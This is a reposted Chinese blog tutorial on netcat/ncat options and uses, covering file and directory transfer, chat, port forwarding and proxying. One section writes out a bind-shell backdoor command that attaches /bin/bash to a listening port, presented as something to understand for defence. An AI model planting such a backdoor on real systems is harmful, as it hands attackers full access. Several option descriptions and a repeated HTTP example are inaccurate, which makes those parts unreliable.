您的位置:首页 > 其它

netcat瑞士军刀开发中常用的命令

2018-01-14 17:00 225 查看
nc/ncat基本格式:nc [-options] hostname port[s] [ports] ...

nc/cat常用参数配置,可以用ncat -h显示所有nc的参数和使用说明。

1. -4 强制使用ipv4
2. -6 强制使用ipv6
3. -D 允许socket通信返回debug信息
4.       -d 不允许从标准输入中读取
5. -h 显示nc帮助文档
6. -i interval
7.    指定每行之间内容延时发送和接受,也可以使多个端口之间的连接延时
8. -k 当一个连接结束时,强制nc监听另一个连接。必须和-l一起使用
9. -l 用于监听传入的数据链接,不能与-p -z -s一起使用。-w 参数的超时也会被忽略
10. -n 不执行任何地址,主机名,端口或DNS查询
11. -p 指定nc使用的源端口,受权限限制且不能余-l一起使用
12. -r 指定nc使用的源端口和目的端口,不能使用系统原来就指定的那些端口
13. -S 允许在RFC 2385的TCP MD5签名选项
14. -s source_ip_address
15.    指定用于发包的接口的IP地址,不能和-l一起使用
16. -T ToS
17.    指定链接的IP服务类型(TOS)
18. -C 自动换行
19. -t 使nc能够与telnet交互
20. -U 使用UNIX域socket
21. -u 使用udp代替默认的tcp选项
22. -v 输出详细报告
23. -w timeout
24.     一个链接一段时间无操作,则自动断开,默认无超时
25. -X proxy_version
26.     指定nc使用代理时所采用的协议,可选的有socksv4,socks5以及https。默认socks5
27. -x proxy_address[:port]
28.     指定nc使用的代理地址和端口。默认设置:1080(SOCKS),3128(HTTPS)
29. -z 只监听不发送任何包

1.ncat常被用来远程拷贝文件

nc 还能用来在系统间拷贝文件,虽然这么做并不推荐,因为绝大多数系统默认都安装了 ssh/scp。 不过如果你恰好遇见个没有 ssh/scp 的系统的话, 你可以用 nc 来作最后的努力。

从server1拷贝文件到server2上。需要先在server2上,用nc激活监听,server2上运行:

[robot@hadoop102 ~]$  nc -lp  1234 > nc.txt    

server1上运行:

[robot@hadoop101 ~]$ nc -w 1 192.168.1.102  1234 < nc.txt  

注意:端口和ip地址之间直接用的空格,而不是Ip:port的形式,和实际网络传输中URL不同。 -w  1 ,是timeout事件,具体参数意思,参考上一篇博客。

2.将 nc 作为聊天工具
nc 也可以作为聊天工具来用,我们可以配置服务器监听某个端口,然后从远程主机上连接到服务器的这个端口,就可以开始发送消息了。 在服务器这端运行:

随便一台主机上运行:$ ncat -l 8080

在远程客户端主机上运行:

$ ncat 192.168.1.101 8080

之后开始发送消息,这些消息会在服务器终端上显示出来。但是只能交互简单的文本文件。

3. 使用 -k 选项强制 nc 待命
当客户端从服务端断开连接后,过一段时间服务端也会停止监听。 但通过选项 -k 我们可以强制服务器保持连接并继续监听端口。

 命令如下:
$ ncat -l -k 8080

4.设置连接超时

nc 的监听模式会一直运行,直到手工终止。 不过我们可以通过选项 -w 设置超时时间:

$ ncat -w 10 192.168.1.100 8080

这回导致连接 10 秒后终止,不过这个选项只能用于客户端而不是服务端。

5.通过 nc 进行端口转发
我们通过选项 -c 来用 nc 进行端口转发,实现端口转发的语法为:
$ ncat -u -l  80 -c  'ncat -u -l 8080'
这样,所有连接到 80 端口的连接都会转发到 8080 端口。

6.通过 nc 创建后门

nc 命令还可以用来在系统中创建后门,并且这种技术也确实被黑客大量使用。 为了保护我们的系统,我们需要知道它是怎么做的。 创建后门的命令为:

$ ncat -l 10000 -e /bin/bash

-e 标志将一个 bash 与端口 10000 相连。现在客户端只要连接到服务器上的 10000 端口就能通过 bash 获取我们系统的完整访问权限:

$ ncat 192.168.1.100 10000

7.将 nc 作为代理

nc 也可以用来做代理。比如下面这个例子,

$ ncat -l 8080 | ncat 192.168.1.101 80

所有发往我们服务器 8080 端口的连接都会自动转发到 192.168.1.101上的 80 端口。 不过由于我们使用了管道,数据只能被单向传输。 要同时能够接受返回的数据,我们需要创建一个双向管道。 使用下面命令可以做到这点:

$ mkfifo 2way

$ ncat -l 8080 0<2way | ncat 192.168.1.101 80 1>2way

8.连接远程系统

使用下面命令可以用 nc 来连接远程系统,

$ ncat IP_address port_number

让我们来看个例子,

$ ncat 192.168.1.100 80

这会创建一个连接,连接到 IP 为 192.168.1.100 的服务器上的 80 端口,然后我们就可以向服务器发送指令了。 比如我们可以输入下面内容来获取完整的网页内容

GET / HTTP/1.1

或者获取页面名称,

GET / HTTP/1.1

或者我们可以通过以下方式获得操作系统指纹标识,

GET / HTTP/1.1

这会告诉我们使用的是什么软件来运行这个 web 服务器的。

9.传输目录

从server1拷贝nginx-0.6.34目录内容到server2上。需要先在server2上,用nc激活监听,server2上运行:

# nc -l 1234 |tar xzvf -

server1上运行:# ll -d nginx-0.6.34

drwxr-xr-x 8 1000 1000 4096 12-23 17:25 nginx-0.6.34

# tar czvf - nginx-0.6.34|nc 192.168.228.222 1234
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: